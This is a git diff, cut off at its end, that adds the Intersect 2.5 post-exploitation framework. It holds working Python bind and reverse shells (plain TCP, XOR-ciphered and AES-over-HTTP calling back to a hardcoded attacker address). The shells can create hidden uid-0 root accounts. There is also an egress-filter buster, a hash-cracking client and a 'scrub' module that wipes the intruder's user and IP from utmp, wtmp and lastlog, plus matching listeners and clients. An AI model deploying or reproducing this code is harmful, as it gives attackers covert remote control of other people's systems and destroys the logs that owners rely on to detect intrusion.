UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['bshell', 'xmlcrack', 'egressbuster', 'aeshttp', 'reversexor', 'xorshell', 'scrub'] + PORT = 4444 + RHOST = '192.168.1.4' + RPORT = 6666 + PPORT = 8888 + PKEY = 'JFDSISXX' + + +def bshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + socksize = 4096 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + server.bind((HOST, PORT)) + server.listen(10) + conn, addr = server.accept() + conn.send("\nIntersect "+str(os.getcwd())+" => ") + except: + print "[!] Connection closed." + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith('upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith('download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith("rebootsys"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == ("extask"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send("[!] Module not loaded!") + else: + conn.send("[+] Executing %s " % modname) + execmod = modname+"()" + execmod + + elif cmd == ('killme'): + conn.send("[!] Shutting down shell!\n") + conn.close() + sys.exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + +def xmlcrack(): + ''' + @description: Sends hash list to remote XMLRPC server for cracking. Crackserver.py must be running on the remote host. + @author: original code by Stephen Haywood aka averagesecurityguy + @short: xmlrpc crack client (-x filename hashtype) + ''' + if len(sys.argv) <=3: + print("[!] Must specify a filename and hashtype!") + sys.exit() + + import time + try: + import xmlrpclib + except ImportError: + print("[!] Python library XMLRPC is not installed!") + sys.exit(0) + + data = [] + filename = sys.argv[2] + hashtype = sys.argv[3] + + try: + #Open the hash file and convert it to an array before sending it in the + #XMLRPC request. + file = open(filename, 'rb') + for line in file: + data.append(line.rstrip('\r\n')) + file.close() + except Exception, err: + print "Error opening file " + filename + ": " + str(err) + + # Open connection to xmlrpc server + server = ("http://"+RHOST+":"+str(RPORT)) + try: + s = xmlrpclib.ServerProxy(server) + except: + print "Error opening connection to server " + server + ": " + str(err) + + # Send request to server and receive ID + id, msg = s.crack(data, hashtype) + + if id == 0: + print msg + else: + # Poll server for completion status and results using ID. + complete = False + wait = 10 + while True: + time.sleep(wait) + complete, results = s.results(id) + if results != []: + for r in results: + print r.rstrip('\r\n') + if complete: break + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + +def xor(string, key): + ''' + @description: Starts a XOR ciphered TCP bindshell on the target. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: XOR TCP bindshell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def xorshell(): + HOST = '' + socksize = 4096 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + server.bind((HOST, PORT)) + server.listen(10) + print("[+] Shell bound on port %s" % PORT) + conn, addr = server.accept() + print "[+] New Connection: %s" % addr[0] + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print "[!] Connection closed." + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.\n", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + try: + Current_User = os.getlogin() + except OSError: + print "[!] Cannot find user in logs. Did you all ready run --scrub ?" + return + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -b --bshell TCP bindshell') + print(' -x --xmlcrack xmlrpc crack client (-x filename hashtype)') + print(' -e --egressbuster finds open outbound ports') + print(' -a --aeshttp reverse AES HTTP shell') + print(' -r --reversexor reverse XOR TCP shell') + print(' -x --xorshell XOR TCP bindshell') + print(' -s --scrub cleans utmp, wtmp and lastlog') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'bxearxs', ['bshell', 'xmlcrack', 'egressbuster', 'aeshttp', 'reversexor', 'xorshell', 'scrub', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-b', '--bshell'): + bshell() + elif o in ('-x', '--xmlcrack'): + xmlcrack() + elif o in ('-e', '--egressbuster'): + egressbuster() + elif o in ('-a', '--aeshttp'): + aeshttp() + elif o in ('-r', '--reversexor'): + reversexor() + elif o in ('-x', '--xorshell'): + xorshell() + elif o in ('-s', '--scrub'): + scrub() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Storage/readme b/Intersect-2.5/Storage/readme new file mode 100644 index 0000000..81b828f --- /dev/null +++ b/Intersect-2.5/Storage/readme @@ -0,0 +1,5 @@ +Intersect Framework +Storage Directory + +This folder is where files downloaded using the client-server shells +will be kept. diff --git a/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py b/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py new file mode 100644 index 0000000..635ed7c --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py @@ -0,0 +1,117 @@ +#!/usr/bin/python +############################################ +# +# +# AES Encrypted Reverse HTTP Listener by: +# +# Dave Kennedy (ReL1K) +# http://www.secmaniac.com +# +# +############################################ +from BaseHTTPServer import BaseHTTPRequestHandler +from BaseHTTPServer import HTTPServer +import urlparse +import os, re, sys +import base64 +from Crypto.Cipher import AES + +if len(sys.argv) <=1: + print("Must specify listening port!") + sys.exit(0) +else: + PORT = sys.argv[1] + +# the block size for the cipher object; must be 16, 24, or 32 for AES +BLOCK_SIZE = 32 +# the character used for padding--with a block cipher such as AES, the value +# you encrypt must be a multiple of BLOCK_SIZE in length. This character is +# used to ensure that your value is always a multiple of BLOCK_SIZE +PADDING = '{' +# one-liner to sufficiently pad the text to be encrypted +pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + +# one-liners to encrypt/encode and decrypt/decode a string +# encrypt with AES, encode with base64 +EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) +DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + +# 32 character secret key - change this if you want to be unique +secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + +# create a cipher object using the random secret +cipher = AES.new(secret) + +# url decode for postbacks +def htc(m): + return chr(int(m.group(1),16)) + +# url decode +def urldecode(url): + rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M) + return rex.sub(htc,url) + +class GetHandler(BaseHTTPRequestHandler): + + # handle get request + def do_GET(self): + + # this will be our shell command + message = raw_input("shell> ") + # send a 200 OK response + self.send_response(200) + # end headers + self.end_headers() + # encrypt the message + message = EncodeAES(cipher, message) + # base64 it + message = base64.b64encode(message) + # write our command shell param to victim + self.wfile.write(message) + # return out + return + + # handle post request + def do_POST(self): + + # send a 200 OK response + self.send_response(200) + # # end headers + self.end_headers() + # grab the length of the POST data + length = int(self.headers.getheader('content-length')) + # read in the length of the POST data + qs = self.rfile.read(length) + # url decode + url=urldecode(qs) + # remove the parameter cmd + url=url.replace("cmd=", "") + # base64 decode + message = base64.b64decode(url) + # decrypt the string + message = DecodeAES(cipher, message) + # display the command back decrypted + print message + +if __name__ == '__main__': + + # bind to all interfaces + server = HTTPServer(('', len(PORT)), GetHandler) + print """############################################ +# +# +# AES Encrypted Reverse HTTP Listener by: +# +# Dave Kennedy (ReL1K) +# http://www.secmaniac.com +# +# +############################################""" + print 'Starting encrypted web shell server, use to stop' + # simple try block + try: + # serve and listen forever + server.serve_forever() + # handle keyboard interrupts + except KeyboardInterrupt: + print "[!] Exiting the encrypted webserver shell.. hack the gibson." diff --git a/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py b/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py new file mode 100644 index 0000000..41ced88 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py @@ -0,0 +1,71 @@ +#!/usr/bin/python + +import threading +import time +import SocketServer +import sys + +# +# +# This is the listener for the egress buster - works both on posix and windows +# +# Egress Buster Listener - Written by: Dave Kennedy (ReL1K) +# +# + +# assign arg params +try: + portrange = sys.argv[1] + portrange = portrange.split("-") + lowport = int(portrange[0]) + lowport = lowport - 1 + highport = int(portrange[1]) + +# if we didnt put anything in args +except IndexError: + print """ +Egress Buster v0.1 - Find open ports inside a network + +Only use a 1000 at a time! Anything more will cause errors. + +Quick Egress Buster Listener written by: Dave Kennedy (ReL1K) + +Usage: python egress_listener.py +Example: python egress_listener.py 1-1000 + """ + sys.exit() + +# base class handler for socket server +class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): + + # handle the packet + def handle(self): + self.data = self.request.recv(1024).strip() + print "%s connected on port: %s\n" % (self.client_address[0],self.data) + # self.request.send(self.data.upper()) + +class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): + pass + +if __name__ == "__main__": + + while 1: + + lowport = lowport + 1 + try: + socketserver = ThreadedTCPServer(('', lowport), ThreadedTCPRequestHandler) + socketserver_thread = threading.Thread(target=socketserver.serve_forever) + socketserver_thread.setDaemon(True) + socketserver_thread.start() + + except Exception, e: + print e + pass + + if lowport == highport: break + + while 1: + try: + time.sleep(1) + except KeyboardInterrupt: + break diff --git a/Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py b/Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py new file mode 100644 index 0000000..84dbab8 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py @@ -0,0 +1,85 @@ +#!/usr/bin/python + +# Intersect 2.5 +# TCP Shell Client +# https://github.com/ohdae/Intersect-2.0/ + +import os, sys +import socket +from subprocess import Popen,PIPE,STDOUT,call + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) +except IndexError: + print("You must specify a host IP address and port number!") + print("usage: ./tcp-client.py 192.168.1.4 4444") + sys.exit() + +socksize = 4096 +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +try: + server.connect((HOST, PORT)) + print("[+] New connection established!") + print("[+] Starting Intersecting shell....") + print("[+] Type ':help' for all commands.") +except: + print("[!] Connection error!") + sys.exit(2) + + +while True: + data = server.recv(socksize) + cmd = raw_input(data) + server.sendall(str(cmd)) + + if cmd == (':killme'): + print("[!] Shutting down Intersect!") + server.close() + sys.exit(0) + + if cmd == (':quit'): + print("[!] Closing shell connection!") + server.close() + sys.exit(0) + + elif cmd.startswith(':download'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = server.recv(socksize) + newfile = file(filename, "wb") + newfile.write(data) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + server.sendall(filedata) + + elif cmd.startswith(':exec'): + print("[!] Feature not yet implemented!") + + elif cmd == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down Intersect completely") + print(" :quit | closes shell connection\n") + + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + +server.close() diff --git a/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py new file mode 100644 index 0000000..6eb080d --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py @@ -0,0 +1,94 @@ +#!/usr/bin/python + +# Intersect 2.5 +# TCP Shell Listener +# https://github.com/ohdae/Intersect-2.0 + +import os, sys +import socket +import time + +activePID = [] +socksize = 4096 + +try: + HOST = sys.argv[1] + PORT = int(sys.argv[2]) +except IndexError: + print("You must specify a host IP address and port number!") + print("usage: ./tcp-client.py 192.168.1.4 4444") + sys.exit() + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) +server.bind((HOST, PORT)) +server.listen(5) +print("Listening on port %s for 5 connetions..." % PORT) + +def reaper(): + while activePID: + pid,stat = os.waitpid(0, os.WNOHANG) + if not pid: break + activePID.remove(pid) + +def accept(): + while 1: + conn, addr = server.accept() + print "[!] New connection!" + reaper() + childPid = os.fork() + if childPid == 0: + handler(conn) + else: + activePID.append(childPid) + +def handler(conn): + time.sleep(3) + + while True: + data = conn.recv(socksize) + cmd = raw_input(data) + conn.sendall(str(cmd)) + if cmd == (':killme'): + print("[!] Shutting down shell!") + conn.close() + sys.exit(0) + elif cmd.startswith(':download'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(data) + newfile.close() + if os.path.exists(filename) is True: + print("[+] Download complete.") + print("[+] File location: " + os.getcwd()+"/"+filename) + elif cmd.startswith(':upload'): + getname = cmd.split(" ") + loc_file = getname[1] + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + elif cmd == (":exec"): + print("Feature not yet fully implemented!") + elif cmd == (":help"): + print(" Available Commands: ") + print("---------------------------------") + print(" :download | download file from host") + print(" :upload | upload file to host") + print(" :mods | list available modules") + print(" :exec | run Intersect tasks") + print(" :addroot | add new root account") + print(" :reboot | reboot remote host system") + print(" :help | display this menu") + print(" :killme | shuts down shell connection\n") + print("* If the shell appears to hang after sending or receiving data, press [enter] and it should fix the issue.") + + conn.close() + os._exit(0) + + +accept() + diff --git a/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py b/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py new file mode 100644 index 0000000..4443714 --- /dev/null +++ b/Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py @@ -0,0 +1,51 @@ +#!/usr/bin/python + +# Intersect 2.5 +# UDP Shell Client +# https://github.com/ohdae/Intersect-2.0 + +import os, sys +import socket + +try: + host = sys.argv[1] +except IndexError: + print("Intersect 2.5 - UDP Shell Client.") + print("Usage: ./UDP-Client.py serverIP") + print("[!] You must specify a host IP address!") + sys.exit() + +port = 21541 +buf = 1024 +addr = (host,port) + +# Create socket +UDPSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +print("UDP Interactive Shell.\nEnter ':help' for a list of extra available commands.") + +while 1: + cmd = raw_input("Intersect => ") + (UDPSock.sendto(cmd,addr)) + + if cmd == ":killme": + (UDPSock.sendto(":killme",addr)) + print("[!] Closing shell connection!") + sys.exit(0) + + elif cmd == ":help": + print("Available Commands:\n") + print(":help | this menu") + print(":mods | list loaded modules") + print(":temp | go to Intersect session directory") + print(":addroot name | add new root account with 'name'") + print(":exec module | executes Intersect 'module'") + print(":killme | closes shell connection") + + elif cmd.startswith(":exec"): + print("[!] Command not fully implemented yet. Sorry!") + + else: + data,addr = UDPSock.recvfrom(buf) + print data + +UDPSock.close() diff --git a/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README b/Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README new file mode 100644 index 0000000..f1d8961 --- /dev/null +++ 